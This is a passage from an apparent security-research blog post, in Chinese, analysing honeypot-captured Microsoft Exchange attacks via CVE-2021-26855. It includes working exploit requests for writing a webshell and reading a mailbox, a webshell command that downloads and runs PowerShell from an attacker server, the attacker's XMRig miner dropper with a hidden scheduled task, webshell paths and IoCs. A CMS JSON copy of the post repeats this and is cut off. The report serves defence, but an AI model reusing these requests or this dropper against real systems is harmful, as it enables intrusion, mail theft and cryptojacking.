{"properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx"}}, "identity": {"DisplayName": "OAB (Default Web Site)", "__type": "Identity:ECP", "RawIdentity": "7280d03f-194a-4bf3-98a7-076e7728321d"}}
CVE-2021-26855 获取邮箱信息
POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>[email protected]</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
CVE-2021-26855 挖矿攻击
POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded
code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B
攻击者通过http://178.62.226.184/run.ps1文件植入XMRig挖矿程序，以下是攻击详情：
$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://178.62.226.184/config.json","C:\temp\111\config.json")
$WebClient.DownloadFile("http://178.62.226.184/javacpl.exe","C:\temp\111\javacpl.exe")
$WebClient.DownloadFile("http://178.62.226.184/WinRing0x64.sys","C:\temp\111\WinRing0x64.sys")
Start-Process -Filepath "C:\temp\111\javacpl.exe"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "App2" -Description "Check"
}
else
{
Write-host "run"
}
Anglerfish蜜罐数据视野
2021年3月6日开始，360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞（CVE-2021-26855）扫描，截至日前，扫描源IP地址地理位置分布如下：
通过对扫描端口分析发现，扫描目的端口主要是443端口（77.3%），其次是80端口（11.3%），如下图：
根据分析捕获的扫描流量，扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.，占比50%以上，扫描整体趋势如下：
扫描源IP来自全球各个国家，其中美国占比最大，如下图:
对捕获的流量进行分析发现，Top 5的扫描IP占比所有扫描行为的50%，其中159.89.95.163占比达24%，暴露了该IP具有一定的组织性。
通过对攻击流量进行分析发现，攻击者已经能够成功利用该漏洞植入Webshell，详情如下图所示：
攻击者通过Webshell进一步实施恶意攻击操作，如植入XMRig挖矿程序，详情如下图所示：
部分扫描源IP rDNS SLD信息
我们通过简单分析Microsoft Exchange漏洞（CVE-2021-26855）扫描的扫描源IP对应的rDNS信息，可以看到一些组织信息。
Webshell 分析
我们监测到大量Webshell路径探测请求，其中大部分是安全厂商和研究机构的扫描行为。
已知Webshell路径如下所示：
GET /aspnet_client/system_web/log.aspx 1682
GET /aspnet_client/OutlookEN.aspx 1660
GET /aspnet_client/HttpProxy.aspx 1643
GET /aspnet_client/aspnet_client.aspx 1613
GET /aspnet_client/discover.aspx 1583
GET /aspnet_client/supp0rt.aspx 1490
GET /owa/auth/OutlookEN.aspx 1464
GET /aspnet_client/aspnet_iisstart.aspx 1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 1441
GET /aspnet_client/Server.aspx 1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 1428
GET /owa/auth/logg.aspx 1416
GET /aspnet_client/xx.aspx 1412
GET /owa/auth/a.aspx 1403
GET /owa/auth/Current/themes/errorFS.aspx 1393
GET /owa/auth/errorPage.aspx 1373
GET /owa/auth/getpp.aspx 1367
GET /aspnet_client/aspnet_pages.aspx 1364
GET /owa/auth/default.aspx 1334
GET /owa/auth/fatal-erro.aspx 1326
GET /owa/auth/errorPages.aspx 1322
GET /owa/auth/log.aspx 1311
GET /owa/auth/shel90.aspx 1306
GET /owa/auth/Err0r.aspx 1303
GET /owa/auth/logout.aspx 1302
GET /aspnet_client/log3.aspx 1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 1285
GET /owa/auth/RedirSuiteServerProxy.aspx 1279
GET /aspnet_client/eror.aspx 1266
GET /aspnet_client/0QWYSEXe.aspx 1263
GET /owa/auth/current/one1.aspx 1260
GET /aspnet_client/session.aspx 1242
GET /aspnet_client/iispage.aspx 1213
GET /aspnet_client/system_web/logx2.aspx 1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 1207
GET /aspnet_client/log.aspx 1207
GET /aspnet_client/WlUtyY.aspx 1168
GET /aspnet_client/aspnet_www.aspx 1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 1164
GET /owa/auth/Current/app222.aspx 1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 1147
GET /owa/auth/ErrorAA.aspx 1089
GET /owa/auth/one.aspx 1079
GET /aspnet_client/errorcheck.aspx 1074
GET /owa/auth/one1.aspx 1072
GET /aspnet_client/system_web/logfe.aspx 1064
GET /owa/auth/zntwv.aspx 1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 1019
GET /owa/auth/shel.aspx 1016
GET /owa/auth/shel2.aspx 1011
GET /owa/auth/bob.aspx 1008
GET /owa/auth/OutlookZH.aspx 1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 1001
GET /owa/auth/authhead.aspx 1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 993
GET /aspnet_client/default1.aspx 984
GET /aspnet_client/system_web/logon.aspx 978
GET /aspnet_client/s.aspx 930
GET /aspnet_client/RedirSuiteServerProxy.aspx 927
GET /aspnet_client/8aUco9ZK.aspx 920
GET /aspnet_client/F48zhi6U.aspx 917
GET /aspnet_client/E3MsTjP8.aspx 915
GET /aspnet_client/Fc1b3WDP.aspx 915
GET /aspnet_client/2XJHwN19.aspx 907
GET /aspnet_client/0q1iS7mn.aspx 905
GET /aspnet_client/shell.aspx 901
GET /aspnet_client/McYhCzdb.aspx 898
GET /aspnet_client/sol.aspx 893
GET /aspnet_client/aspnettest.aspx 889
GET /aspnet_client/error_page.aspx 885
GET /aspnet_client/system_web/error.aspx 883
GET /aspnet_client/UwSPMsFi.aspx 882
GET /aspnet_client/web.config.aspx 878
GET /aspnet_client/shellex.aspx 876
GET /aspnet_client/uHSPTWMG.aspx 873
GET /aspnet_client/help.aspx 868
GET /aspnet_client/load.aspx 865
GET /aspnet_client/zXkZu6bn.aspx 858
GET /aspnet_client/ogu7zFil.aspx 843
GET /owa/auth/shell.aspx 644
GET /owa/auth/web.aspx 643
GET /owa/auth/aspnet_client.aspx 639
GET /owa/auth/errorEEE.aspx 635
GET /owa/auth/27fib.aspx 627
GET /owa/auth/errorEE.aspx 625
GET /owa/auth/b.aspx 624
GET /owa/auth/aspnettest.aspx 621
GET /owa/auth/healthcheck.aspx 621
GET /owa/auth/t.aspx 620
GET /owa/auth/shellex.aspx 619
GET /owa/auth/wanlin.aspx 619
GET /owa/auth/aspnet_iisstart.aspx 619
GET /owa/auth/errorFF.aspx 615
GET /owa/auth/test.aspx 615
GET /owa/auth/document.aspx 614
GET /owa/auth/xx.aspx 613
GET /owa/auth/help.aspx 612
GET /owa/auth/evilcorp.aspx 611
GET /owa/auth/web.config.aspx 606
GET /owa/auth/error_page.aspx 605
GET /owa/auth/aspnet_www.aspx 603
GET /owa/auth/errorFE.aspx 601
GET /owa/auth/errorEW.aspx 597
GET /owa/auth/OutlookDA.aspx 288
GET /owa/auth/OutlookFR.aspx 208
GET /owa/auth/OutlookIT.aspx 187
GET /owa/auth/OutlookDE.aspx 186
GET /owa/auth/OutlookES.aspx 182
GET /owa/auth/expiredpassword.aspx 175
GET /owa/auth/OutlookPL.aspx 171
GET /owa/auth/OutlookAR.aspx 165
GET /owa/auth/OutlookSE.aspx 162
GET /owa/auth/logoff.aspx 150
GET /owa/auth/OutlookAS.aspx 146
GET /owa/auth/OutlookIO.aspx 144
GET /owa/auth/OutlookCN.aspx 111
GET /aspnet_client/Service.aspx 88
GET /aspnet_client/1d.aspx 88
GET /aspnet_client/Metabase.aspx 86
GET /aspnet_client/7KmCS.aspx 86
GET /aspnet_client/config.aspx 79
GET /aspnet_client/cafZCu.aspx 78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 77
GET /aspnet_client/MAlREnavuY.aspx 77
GET /aspnet_client/a.aspx 77
GET /aspnet_client/Default.aspx 76
GET /aspnet_client/ahihi.aspx 76
GET /aspnet_client/aa.aspx 76
GET /aspnet_client/aspnet_iistart.aspx 75
GET /aspnet_client/configs.aspx 74
GET /aspnet_client/aspnet.aspx 71
GET /aspnet_client/aspx_client.aspx 69
GET /aspnet_client/error404.aspx 67
GET /aspnet_client/bob.aspx 67
GET /aspnet_client/document.aspx 67
GET /aspnet_client/authhead.aspx 67
GET /aspnet_client/current/one1.aspx 63
GET /aspnet_client/client.aspx 63
GET /aspnet_client/erroree.aspx 63
GET /owa/auth/seclogon.aspx 61
GET /aspnet_client/upnews.aspx 60
GET /aspnet_client/errorff.aspx 60
GET /owa/auth/Current/themes/resources/system_io.aspx 60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 59
GET /aspnet_client/y3iGH.aspx 59
GET /owa/auth/Current/themes/resources/errorFE.aspx 59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 59
GET /aspnet_client/errorew.aspx 59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 59
GET /owa/auth/Current/themes/resources/View_tools.aspx 59
GET /owa/auth/6GIXZG.aspx 59
GET /aspnet_client/system_web/ogzsis0L.aspx 59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 59
GET /aspnet_client/errorpages.aspx 58
GET /aspnet_client/erroreee.aspx 58
GET /owa/auth/hmknq.aspx 57
GET /aspnet_client/system_web/4_0_30319/self.aspx 57
GET /owa/auth/DesktopShellExt.aspx 57
GET /aspnet_client/web.aspx 56
GET /aspnet_client/system_web/9VkFwtxt.aspx 56
GET /aspnet_client/default.aspx 56
GET /aspnet_client/soHKY.aspx 56
GET /aspnet_client/errorpage.aspx 56
GET /owa/auth/rlvgk.aspx 54
GET /owa/auth/logerr.aspx 54
GET /owa/auth/pzbwl.aspx 54
GET /owa/auth/owaauth.aspx 54
GET /aspnet_client/est11.aspx 54
GET /owa/auth/errorcheck.aspx 53
GET /owa/auth/Current/layout.aspx 52
GET /owa/auth/Current/themes/resources/logon.aspx 52
GET /owa/auth/CommonError.aspx 52
GET /owa/auth/Current/themes/config1.aspx 52
GET /owa/auth/ErrorDef.aspx 52
GET /owa/auth/iasads.aspx 51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 51
GET /owa/auth/061a06908b.aspx 50
GET /owa/auth/Current/zJBxcBoI.aspx 50
GET /owa/auth/errorew.aspx 50
GET /aspnet_client/help..aspx 50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 50
GET /owa/auth/rwinsta.aspx 50
GET /aspnet_client/t.aspx 50
GET /owa/auth/server.aspx 49
GET /owa/auth/erroreww.aspx 49
GET /aspnet_client/temp.aspx 49
GET /owa/auth/frow.aspx 49
GET /aspnet_client/test007.aspx 49
GET /owa/auth/fhsvc.aspx 49
GET /owa/auth/s.aspx 48
GET /owa/auth/errorpage.aspx 48
GET /aspnet_client/zEeomtdYcX.aspx 48
GET /owa/auth/session.aspx 48
GET /owa/auth/secauth.aspx 48
GET /owa/auth/Current/Exchanges.aspx 48
GET /owa/auth/erroree.aspx 48
GET /owa/auth/atlthunk.aspx 48
GET /aspnet_client/voqbETdoni.aspx 48
GET /owa/auth/secauth1.aspx 48
GET /owa/auth/online.aspx 48
GET /owa/auth/erroreee.aspx 48
GET /owa/auth/outlooken.aspx 48
GET /owa/auth/error.aspx 47
GET /owa/auth/ProximityService.aspx 47
GET /owa/auth/outlookfront.aspx 47
GET /owa/auth/proxylogon.aspx 47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 47
GET /owa/auth/ovfwHWjwWm.aspx 47
GET /owa/auth/qnx.aspx 47
GET /owa/auth/plorion.aspx 47
GET /aspnet_client/uyqITYBPew.aspx 47
GET /owa/auth/outlookru.aspx 47
GET /aspnet_client/show.aspx 47
GET /aspnet_client/fatal-erro.aspx 46
GET /owa/auth/errorfff.aspx 46
GET /owa/auth/KBDBENE.aspx 46
GET /owa/auth/OutlookUS.aspx 46
GET /aspnet_client/system.aspx 46
GET /owa/auth/login.aspx 46
GET /owa/auth/letmeinplzs.aspx 46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 46
GET /owa/auth/errorff.aspx 46
GET /owa/auth/redirsuiteserverproxy.aspx 45
GET /aspnet_client/signon.aspx 45
GET /aspnet_client/healthcheck.aspx 45
GET /aspnet_client/login.aspx 45
GET /owa/auth/ntprint.aspx 45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 44
GET /aspnet_client/qfmrucnzl.aspx 44
GET /owa/auth/errorpages.aspx 44
GET /owa/auth/XblGameSave.aspx 44
GET /owa/auth/OutlookDN.aspx 44
GET /aspnet_client/obq.aspx 44
GET /owa/auth/load.aspx 44
GET /aspnet_client/logaaa.aspx 44
GET /owa/auth/discover.aspx 43
GET /owa/auth/outlookjp.aspx 43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 42
GET /aspnet_client/shel90.aspx 42
GET /aspnet_client/support.aspx 42
GET /owa/auth/HcDKNzBoha.aspx 41
GET /owa/auth/multiup.aspx 41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 40
GET /owa/auth/outlookzh.aspx 40
GET /owa/auth/HUUPItrNpXvI.aspx 40
GET /owa/auth/dbuj9.aspx 40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 40
GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 39
GET /owa/auth/sol.aspx 39
GET /owa/auth/httpproxy.aspx 39
GET /owa/auth/XboxNetApiSvc.aspx 39
GET /owa/auth/supp0rt.aspx 39
GET /aspnet_client/one.aspx 39
GET /owa/auth/signon.aspx 38
GET /aspnet_client/outlookjp.aspx 38
GET /owa/auth/OutlookEN.US.aspx 38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 38
GET /owa/auth/OutlookUN.aspx 37
GET /owa/auth/aa.aspx 36
GET /owa/auth/aaa.aspx 36
GET /owa/auth/iispage.aspx 36
GET /aspnet_client/redirsuiteserverproxy.aspx 36
GET /owa/auth/shelltest.aspx 35
GET /owa/auth/system_web/log.aspx 35
GET /owa/auth/aspx_client.aspx 35
GET /owa/auth/tst1.aspx 35
GET /owa/auth/tpmvscmgrsvr.aspx 35
GET /aspnet_client/online.aspx 34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 34
GET /owa/auth/aspnet.aspx 34
GET /aspnet_client/outlookru.aspx 34
GET /aspnet_client/outlookzh.aspx 34
GET /aspnet_client/outlookfront.aspx 34
GET /aspnet_client/shel.aspx 33
GET /aspnet_client/logg.aspx 33
GET /owa/auth/asas.aspx 33
GET /aspnet_client/server.aspx 33
GET /owa/auth/tNLPge.aspx 32
GET /owa/auth/ahihi.aspx 32
GET /owa/auth/TimeoutLogout.aspx 32
GET /owa/auth/aspnet_pages.aspx 32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 32
GET /owa/auth/test13037.aspx 31
GET /aspnet_client/shel2.aspx 31
GET /aspnet_client/one1.aspx 31
GET /aspnet_client/httpproxy.aspx 31
GET /owa/auth/test1337.aspx 31
GET /owa/auth/signout.aspx 29
GET /aspnet_client/outlooken.aspx 28
GET /owa/auth/default1.aspx 28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 28
GET /aspnet_client/multiup.aspx 27
GET /aspnet_client/logout.aspx 27
GET /owa/auth/theme-vten8snn874b.aspx 25
GET /aspnet_client/error.aspx 8
GET /aspnet_client/errorFF.aspx 8
GET /aspnet_client/errorEE.aspx 8
GET /owa/auth/OutlookJP.aspx 6
GET /aspnet_client/errorEW.aspx 6
POST /aspnet_client/discover.aspx 5
GET /aspnet_client/errorEEE.aspx 5
POST /aspnet_client/system_web/logx2.aspx 4
GET /owa/auth/HttpProxy.aspx 4
GET /owa/auth/OutlookRU.aspx 4
GET /aspnet_client/system_web/sol.aspx 4
GET /aspnet_client/system_web/QBFjM1SC.aspx 4
GET /aspnet_client/OutlookJP.aspx 4
GET /aspnet_client/system_web/ioWYM7C4.aspx 4
GET /owa/auth/Online.aspx 4
GET /aspnet_client/MultiUp.aspx 4
GET /owa/auth/Logout.aspx 4
GET /aspnet_client/system_web/E12B65rm.aspx 4
GET /aspnet_client/system_web/vY4qLEpG.aspx 3
GET /aspnet_client/system_web/test.aspx 3
GET /aspnet_client/Online.aspx 3
GET /aspnet_client/system_web/3ue5myCq.aspx 3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 3
GET /aspnet_client/system_web/WFk2or3Y.aspx 3
GET /aspnet_client/system_web/GnCwADKH.aspx 3
GET /aspnet_client/rabiitch.aspx 3
GET /aspnet_client/system_web/Cs64LbPk.aspx 3
GET /aspnet_client/Logout.aspx 2
GET /owa/auth/WMSPDMOD.aspx 2
GET /aspnet_client/OutlookRU.aspx 2
GET /owa/auth/Discover.aspx 2
GET /aspnet_client/system_web/2TFGNswO.aspx 2
GET /aspnet_client/Discover.aspx 2
GET /owa/auth/checkerror635284.aspx 2
GET /owa/auth/MultiUp.aspx 2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 2
GET /aspnet_client/checkerror635284.aspx 2
GET /owa/auth/1d61acae91.aspx 2
GET /owa/auth/current/themes/resources/error.aspx 1
GET /aspnet_client/iisstart.aspx 1
GET /owa/auth/lo.aspx 1
GET /owa/auth/error404.aspx 1
Miscrosoft Exchange服务器分布
360 Quake网络空间测绘系统通过对全网资产测绘，发现Microsoft Exchange服务器共3,378,260条数据记录，其中有534,590个独立IP，具体分布如下图所示。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
IP:
178.62.226.184
157.245.47.214
Miner Proxy:
159.65.206.137:3333
URL:
http://178.62.226.184/mini-reverse.ps1
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys
MD5:
79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2021年3月2号，微软披露了Microsoft Exchange服务器的远程代码执行漏洞[[1]](https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/)。\n\n2021年3月3号开始，360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件，很快我们搜集到大量的漏洞检测数据，目前我们已经检测到攻击者植入Webshell，获取邮箱信息，甚至进行XMRig恶意挖矿(`http://178.62.226.184/run.ps1`)的网络攻击行为。根据挖矿文件路径名特征，我们将该Miner命名为Tripleone。\n\n2021年3月6号开始，ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本[[2]](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml)[[3]](https://github.com/microsoft/CSS-Exchange/blob/main/Security/src/http-vuln-cve2021-26855.nse)。\n\nMicrosoft Exchange服务器的远程代码执行漏洞利用步骤复杂，一般从PoC公布到黑色产业攻击者利用需要一定的时间，我们看到这个攻击现象已经开始了。\n\n\n### CVE-2021-26855 植入Webshell\n```\nPOST /ecp/j2r3.js HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\nContent-Type: application/json; charset=utf-8\nCookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.\nmsExchLogonMailbox: S-1-5-20\nContent-Length: 381\n\n{\"properties\": {\"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\", \"FilePathName\": \"\\\\\\\\127.0.0.1\\\\c$\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\test1337.aspx\"}}, \"identity\": {\"DisplayName\": \"OAB (Default Web Site)\", \"__type\": \"Identity:ECP\", \"RawIdentity\": \"7280d03f-194a-4bf3-98a7-076e7728321d\"}}\n```\n\n### CVE-2021-26855 获取邮箱信息\n```\nPOST //ecp/ssrf.js HTTP/1.1\nHost: {target}\nConnection: close\nAccept-Encoding: gzip\nAccept: */*\nUser-Agent: Hello-World\nContent-Type: text/xml\nCookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;\nContent-Length: 756\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>Default</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"inbox\">\n <t:Mailbox>\n <t:EmailAddress>[email protected]</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n</soap:Envelope>\n```\n\n### CVE-2021-26855 挖矿攻击\n```\nPOST /owa/auth/test1337.aspx HTTP/1.1\nHost: {target}\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: python-requests/2.25.1\nContent-Length: 211\nContent-Type: application/x-www-form-urlencoded\n\ncode=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B\n```\n\n攻击者通过`http://178.62.226.184/run.ps1`文件植入XMRig挖矿程序，以下是攻击详情：\n```\n$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue\nif($ProcessActive -eq $null)\n{\nnew-item c:\\temp\\111 -itemtype directory\n$WebClient = New-Object System.Net.WebClient\n$WebClient.DownloadFile(\"http://178.62.226.184/config.json\",\"C:\\temp\\111\\config.json\")\n$WebClient.DownloadFile(\"http://178.62.226.184/javacpl.exe\",\"C:\\temp\\111\\javacpl.exe\")\n$WebClient.DownloadFile(\"http://178.62.226.184/WinRing0x64.sys\",\"C:\\temp\\111\\WinRing0x64.sys\")\nStart-Process -Filepath \"C:\\temp\\111\\javacpl.exe\"\n$action = New-ScheduledTaskAction -Execute \"powershell.exe\" -Argument \"-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')\"\n$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)\nRegister-ScheduledTask -Action $action -Trigger $trigger -TaskName \"App2\" -Description \"Check\"\n \n}\nelse\n{\t\nWrite-host \"run\"\n}\n```\n\n### Anglerfish蜜罐数据视野\n2021年3月6日开始，360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞（CVE-2021-26855）扫描，截至日前，扫描源IP地址地理位置分布如下：\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png\" class=\"kg-image\"/></a>\n\n通过对扫描端口分析发现，扫描目的端口主要是443端口（77.3%），其次是80端口（11.3%），如下图：\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_ports.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_ports.png\" class=\"kg-image\"/></a>\n\n根据分析捕获的扫描流量，扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.，占比50%以上，扫描整体趋势如下：\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png\" class=\"kg-image\"/></a>\n\n扫描源IP来自全球各个国家，其中美国占比最大，如下图:\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png\" class=\"kg-image\"/></a>\n\n对捕获的流量进行分析发现，Top 5的扫描IP占比所有扫描行为的50%，其中159.89.95.163占比达24%，暴露了该IP具有一定的组织性。\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png\" class=\"kg-image\"/></a>\n\n通过对攻击流量进行分析发现，攻击者已经能够成功利用该漏洞植入Webshell，详情如下图所示：\n<a href=\"__GHOST_URL__/content/images/2021/03/webshell_details.png\"><img src=\"__GHOST_URL__/content/images/2021/03/webshell_details.png\" class=\"kg-image\"/></a>\n\n攻击者通过Webshell进一步实施恶意攻击操作，如植入XMRig挖矿程序，详情如下图所示：\n<a href=\"__GHOST_URL__/content/images/2021/03/sample_details.png\"><img src=\"__GHOST_URL__/content/images/2021/03/sample_details.png\" class=\"kg-image\"/></a>\n\n\n### 部分扫描源IP rDNS SLD信息\n我们通过简单分析Microsoft Exchange漏洞（CVE-2021-26855）扫描的扫描源IP对应的rDNS信息，可以看到一些组织信息。\n<a href=\"__GHOST_URL__/content/images/2021/03/vulncheck_sld.png\"><img src=\"__GHOST_URL__/content/images/2021/03/vulncheck_sld.png\" class=\"kg-image\"/></a>\n\n### Webshell 分析\n我们监测到大量Webshell路径探测请求，其中大部分是安全厂商和研究机构的扫描行为。\n已知Webshell路径如下所示：\n```\nGET /aspnet_client/system_web/log.aspx \t1682\nGET /aspnet_client/OutlookEN.aspx \t1660\nGET /aspnet_client/HttpProxy.aspx \t1643\nGET /aspnet_client/aspnet_client.aspx \t1613\nGET /aspnet_client/discover.aspx \t1583\nGET /aspnet_client/supp0rt.aspx \t1490\nGET /owa/auth/OutlookEN.aspx \t1464\nGET /aspnet_client/aspnet_iisstart.aspx \t1463\nGET /owa/auth/Current/scripts/premium/fexppw.aspx \t1442\nGET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx \t1441\nGET /aspnet_client/Server.aspx \t1433\nGET /owa/auth/8Lw7tAhF9i1pJnRo.aspx \t1428\nGET /owa/auth/logg.aspx \t1416\nGET /aspnet_client/xx.aspx \t1412\nGET /owa/auth/a.aspx \t1403\nGET /owa/auth/Current/themes/errorFS.aspx \t1393\nGET /owa/auth/errorPage.aspx \t1373\nGET /owa/auth/getpp.aspx \t1367\nGET /aspnet_client/aspnet_pages.aspx \t1364\nGET /owa/auth/default.aspx \t1334\nGET /owa/auth/fatal-erro.aspx \t1326\nGET /owa/auth/errorPages.aspx \t1322\nGET /owa/auth/log.aspx \t1311\nGET /owa/auth/shel90.aspx \t1306\nGET /owa/auth/Err0r.aspx \t1303\nGET /owa/auth/logout.aspx \t1302\nGET /aspnet_client/log3.aspx \t1293\nGET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx \t1285\nGET /owa/auth/RedirSuiteServerProxy.aspx \t1279\nGET 